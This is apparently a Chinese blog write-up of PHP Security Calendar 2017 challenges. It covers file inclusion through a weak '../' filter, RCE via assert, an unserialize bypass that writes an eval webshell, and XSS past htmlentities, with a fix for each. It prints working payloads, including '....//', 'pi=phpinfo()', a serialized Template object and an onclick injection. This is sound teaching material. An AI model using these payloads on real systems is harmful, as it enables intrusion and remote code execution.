PHP SECURITY CALENDAR 2017 (Day 9

源码是这样的

class LanguageManager {
  public function loadLanguage() {
    $lang = $this->getBrowserLanguage();
    $sanitizedLang = $this->sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
    return $lang;
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);
  }
}

(new LanguageManager())->loadLanguage();

这里考察的是 str_replace 函数过滤不当造成的任意文件包含漏洞。程序仅仅只是将 ../ 字符替换成空,这并不能阻止攻击者进行攻击。例如攻击者使用payload:....// 或者 ..././ ,在经过程序的 str_replace 函数处理后,都会变成 ../ 

另外??语法是php7的新特性,例子如下

$z = $x ?? $y;
//等价于
$z = isset($x) ? $x : $y;

$z = $x ?: $y;
//等价于
$z = $x ? $x : $y

(*)修复

如果这里的功能是加载远程图片,单纯的修复路径穿越是不可行的

$dir = str_replace(array('..','//'), '', $_GET['dir']);

作者给出的适用于加载远程图片的修复代码如下

$dir = str_replace('..', '', $dir = $_GET['path']);
if(stripos($dir, 'http://')===0 or stripos($dir, 'https://')===0){
    header("Content-type: image/jpeg");
    ob_start();
    readfile($dir);
    ob_flush();
    flush();
    die;
}
else die("Hacker found!");

stripos 查找字符串首次出现的位置(不区分大小写)

header 发送原生 HTTP 头,必须在任何实际输出之前调用,不管是普通的 HTML 标签,还是文件或 PHP 输出的空行,空格

ob_start 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中

readfile 读取文件并写入到输出缓冲

ob_flush 这个函数将送出缓冲区的内容(如果里边有内容的话)

flush 刷新输出缓冲

参考:

https://xz.aliyun.com/t/2633

 源码是这样的

 1 extract($_POST);
 2 
 3 function goAway() {
 4   error_log("Hacking attempt.");
 5   header('Location: /error/');
 6 }
 7 
 8 if (!isset($pi) || !is_numeric($pi)) {
 9   goAway();
10 }
11 
12 if (!assert("(int)$pi == 3")) {
13   echo "This is not pi.";
14 } else {
15   echo "This might be pi.";
16 }

这道题目考察的是当检测到攻击时,虽然有相应的防御操作,但是程序未立即停止退出,导致程序继续执行的问题。程序在第一行处使用 extract 函数,将POST请求的数据全都注册成变量, extract 函数的定义为从数组中将变量导入到当前的符号表,就是把数组中的键值对注册成变量

举个例子

<?php
    $collors = array(
        "red" => "红色",
        "blue" => "蓝色",
        "green" => "绿色",
    );
    extract($collors);
    echo "$red $blue $green $yellow";
    //输出:红色 蓝色 绿色    
?>

这样就可以控制第7行处的 pi 变量。程序对 pi 变量进行简单的验证,如果不是数字或者没有设置 pi 变量,程序就会执行 goAway 方法,即记录错误信息并直接重定向到 /error/ 页面。程序员这里是对非法的操作进行了一定的处理。但是关键在于程序在处理完之后,没有立即退出,这样程序又会按照流程执行下去,也就到了第11行的 assert 语句(assert 检查一个断言是否为 FALSE)。由于前面 pi 变量可以被用户控制,所以在这一行存在远程代码执行漏洞。

例如payload为:pi=phpinfo() (这里为POST传递数据),然后程序就会执行这个 phpinfo 函数。在浏览器端可能看不到 phpinfo 的页面(显示internal sever errror),但是用 BurpSuite ,就可以看到程序执行了 phpinfo 函数

(*)修复

要修复这一类型的漏洞,只要在正确的地方退出程序即可,使用 die 、 exit 等函数都可以。例如这道题就可以在第五行代码后写入 die(); 直接添加退出函数,避免漏洞发生

参考:

https://xz.aliyun.com/t/2668

源码是这样的

 1 class Template {
 2   public $cacheFile = '/tmp/cachefile';
 3   public $template = '<div>Welcome back %s</div>';
 4 
 5   public function __construct($data = null) {
 6     $data = $this->loadData($data);
 7     $this->render($data);
 8   }
 9 
10   public function loadData($data) {
11     if (substr($data, 0, 2) !== 'O:'
12       && !preg_match('/O:d:/', $data)) {
13       return unserialize($data);
14     }
15     return [];
16   }
17 
18   public function createCache($file = null, $tpl = null) {
19     $file = $file ?? $this->cacheFile;
20     $tpl = $tpl ?? $this->template;
21     file_put_contents($file, $tpl);
22   }
23 
24   public function render($data) {
25     echo sprintf(
26       $this->template,
27       htmlspecialchars($data['name'])
28     );
29   }
30 
31   public function __destruct() {
32     $this->createCache();
33   }
34 }
35 
36 new Template($_COOKIE['data']);

题目考察对php反序列化函数的利用。在第10行 loadData() 函数中,发现了 unserialize 函数对传入的 $data 变量进行了反序列。在反序列化前,对变量内容进行了判断,先不考虑绕过,跟踪一下变量,看看变量是否可控。在代码第6行,调用了 loadData() 函数,$data 变量来自于 __construct() 构造函数传入的变量。代码第36行,对 Template 类进行了实例化,并将 cookie 中键为 'data' 数据作为初始化数据进行传入,$data 数据可控。开始考虑绕过对传入数据的判断。

代码11行 ,第一个 if 截取前两个字符,判断反序列化内容是否为对象,如果为对象,返回为空。但是一个对象序列化出来的前两位就是O:,php可反序列化类型有 String,Integer,Boolean,Null,Array,Object。去除掉 Object 后,考虑采用数组中存储对象进行绕过。

第二个 if ,正则匹配,O: 后面不可以是数字,可以在 O: 后面可以增加 + ,用来绕过正则判断。

绕过了过滤以后,接下来考虑怎样对反序列化进行利用,反序列化本质是将序列化的字符串还原成对应的类实例,在该过程中,我们可控的是序列化字符串的内容,也就是对应类中变量的值。我们无法直接调用类中的函数,但PHP在满足一定的条件下,会自动触发一些函数的调用,该类函数,我们称为魔术方法。通过可控的类变量,触发自动调用的魔术方法,以及魔术方法中存在的可利用点,进而形成反序列化漏洞的利用。

代码31行,对象销毁时会调用 createCache() 函数,函数将 $template 中的内容放到了 $cacheFile 对应的文件中。 file_put_contents() 函数,当文件不存在时,会创建该文件。由此可构造一句话,写入当前路径。

还有一个知识点,cookie 的值中不可以有分号,构造 payload 后需要使用 url 编码

实验一下

<?php
    class Template{
        public $cacheFile = './test.php';
        public $template = '<?php eval($_POST[xx])?>';
    }
    echo (serialize(array(new Template())));
?>

输出

a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}

8 前面加上 + 再编码,改 cookie 即可将一句话木马成功写入文件

记录一下常见魔术方法:

__wakeup()    //使用unserialize时触发
__sleep()     //使用serialize时触发
__destruct()  //对象被销毁时触发
__call()      //在对象上下文中调用不可访问的方法时触发
__callStatic()//在静态上下文中调用不可访问的方法时触发
__get()       //用于从不可访问的属性读取数据
__set()       //用于将数据写入不可访问的属性
__isset()     //在不可访问的属性上调用isset()或empty()触发
__unset()     //在不可访问的属性上使用unset()时触发
__toString()  //把类当作字符串使用时触发
__invoke()    //当脚本尝试将对象调用为函数时触发

(*)修复

传入反序列化函数的参数不可控

参考:

https://xz.aliyun.com/t/2733

 源码是这样的

 1 $sanitized = [];
 2 
 3 foreach ($_GET as $key => $value) {
 4   $sanitized[$key] = intval($value);
 5 }
 6 
 7 $queryParts = array_map(function ($key, $value) {
 8   return $key . '=' . $value;
 9 }, array_keys($sanitized), array_values($sanitized));
10 
11 $query = implode('&', $queryParts);
12 
13 echo "<a href='/images/size.php?" .
14   htmlentities($query) . "'>link</a>";

这里考察的是个 xss漏洞 , 漏洞触发点在代码中的第13-14行。这两行代码的作用是直接输出一个html的 <a> 标签。代码中的第3-5行,foreach循环对 $_GET 传入的参数进行了处理,但是这里有个问题,第四行的代码,这行代码针对 $value 进行类型转换,强制变成 int 类型。但是这部分代码只处理了 $value 变量,没针对 $key 变量进行处理。经过了第3-5行的代码处理之后,根据 & 这个符号进行分割,然后拼接到第13行的 echo 语句中,在输出的时候又进行了一次 htmlentities 函数处理。 

htmlentities 将字符转换为 HTML 转义字符

注:htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:

ENT_COMPAT(默认值):只转换双引号。

ENT_QUOTES:两种引号都转换。

ENT_NOQUOTES:两种引号都不转换。

整理一下信息:这里的 $query 参数可控、且 htmlentities 函数在这里可逃逸单引号、xss的漏洞触发点在 <a> 标签。

本地做一下实验 test.php,payload:%27onclick%3dalert(1)//

<?php
    $query = $_GET['query'];
    echo "<a href='/images/size.php?" . htmlentities($query) . "'>link</a>";
?>

(*)修复

htmlentities 函数,在使用的时候尽量加上可选参数,并且选择 ENT_QUOTES 参数。

参考:

https://xz.aliyun.com/t/2757

原文地址:https://www.cnblogs.com/wkzb/p/12594518.html